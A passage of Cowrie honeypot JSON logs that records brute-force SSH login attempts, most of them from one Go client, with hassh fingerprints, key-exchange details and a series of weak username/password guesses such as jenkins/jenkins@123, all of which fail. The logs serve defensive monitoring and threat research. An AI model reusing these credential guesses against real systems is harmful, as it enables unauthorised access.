{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:48.558944Z","src_ip":"45.156.87.253","session":"5537e0955302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:48.801361Z","src_ip":"45.156.87.253","session":"5537e0955302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:49.883984Z","src_ip":"45.156.87.253","session":"5537e0955302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43120,"dst_ip":"10.17.0.5","dst_port":22,"session":"da177df5131f","protocol":"ssh","message":"New connection: 45.156.87.253:43120 (10.17.0.5:22) [session: da177df5131f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:51.690477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:51.693930Z","src_ip":"45.156.87.253","session":"da177df5131f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:51.776482Z","src_ip":"45.156.87.253","session":"da177df5131f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:52.017710Z","src_ip":"45.156.87.253","session":"da177df5131f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:53.100655Z","src_ip":"45.156.87.253","session":"da177df5131f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"839155276241","protocol":"ssh","message":"New connection: 45.156.87.253:43138 (10.17.0.5:22) [session: 839155276241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:55.016118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:55.020258Z","src_ip":"45.156.87.253","session":"839155276241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:55.101460Z","src_ip":"45.156.87.253","session":"839155276241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:55.347418Z","src_ip":"45.156.87.253","session":"839155276241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:56.432245Z","src_ip":"45.156.87.253","session":"839155276241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43154,"dst_ip":"10.17.0.5","dst_port":22,"session":"3441cc79b4f2","protocol":"ssh","message":"New connection: 45.156.87.253:43154 (10.17.0.5:22) [session: 3441cc79b4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:58.317869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:58.323689Z","src_ip":"45.156.87.253","session":"3441cc79b4f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:58.499235Z","src_ip":"45.156.87.253","session":"3441cc79b4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:58.892324Z","src_ip":"45.156.87.253","session":"3441cc79b4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:59.975916Z","src_ip":"45.156.87.253","session":"3441cc79b4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72790789604187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:00.143394Z","src_ip":"72.167.226.244","session":"030808ac0a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"036180d8e898","protocol":"ssh","message":"New connection: 45.156.87.253:49776 (10.17.0.5:22) [session: 036180d8e898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:01.881525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:01.885513Z","src_ip":"45.156.87.253","session":"036180d8e898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:01.968422Z","src_ip":"45.156.87.253","session":"036180d8e898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:02.227667Z","src_ip":"45.156.87.253","session":"036180d8e898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:03.315577Z","src_ip":"45.156.87.253","session":"036180d8e898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49786,"dst_ip":"10.17.0.5","dst_port":22,"session":"392836bbc472","protocol":"ssh","message":"New connection: 45.156.87.253:49786 (10.17.0.5:22) [session: 392836bbc472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:05.163741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:05.167561Z","src_ip":"45.156.87.253","session":"392836bbc472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:05.247401Z","src_ip":"45.156.87.253","session":"392836bbc472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:05.489230Z","src_ip":"45.156.87.253","session":"392836bbc472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:06.571983Z","src_ip":"45.156.87.253","session":"392836bbc472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49788,"dst_ip":"10.17.0.5","dst_port":22,"session":"edbd92d643ea","protocol":"ssh","message":"New connection: 45.156.87.253:49788 (10.17.0.5:22) [session: edbd92d643ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:08.541769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:08.545548Z","src_ip":"45.156.87.253","session":"edbd92d643ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:08.625813Z","src_ip":"45.156.87.253","session":"edbd92d643ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:08.873681Z","src_ip":"45.156.87.253","session":"edbd92d643ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:09.965617Z","src_ip":"45.156.87.253","session":"edbd92d643ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38770,"dst_ip":"10.17.0.5","dst_port":22,"session":"8154802e12a7","protocol":"ssh","message":"New connection: 45.156.87.253:38770 (10.17.0.5:22) [session: 8154802e12a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:11.972421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:11.975782Z","src_ip":"45.156.87.253","session":"8154802e12a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:12.055763Z","src_ip":"45.156.87.253","session":"8154802e12a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:12.297872Z","src_ip":"45.156.87.253","session":"8154802e12a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:13.380673Z","src_ip":"45.156.87.253","session":"8154802e12a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38792,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b0af63e400d","protocol":"ssh","message":"New connection: 45.156.87.253:38792 (10.17.0.5:22) [session: 9b0af63e400d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.296133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.299698Z","src_ip":"45.156.87.253","session":"9b0af63e400d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":54878,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99a028773cd","protocol":"ssh","message":"New connection: 202.61.233.105:54878 (10.17.0.5:22) [session: b99a028773cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.366218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.370003Z","src_ip":"202.61.233.105","session":"b99a028773cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-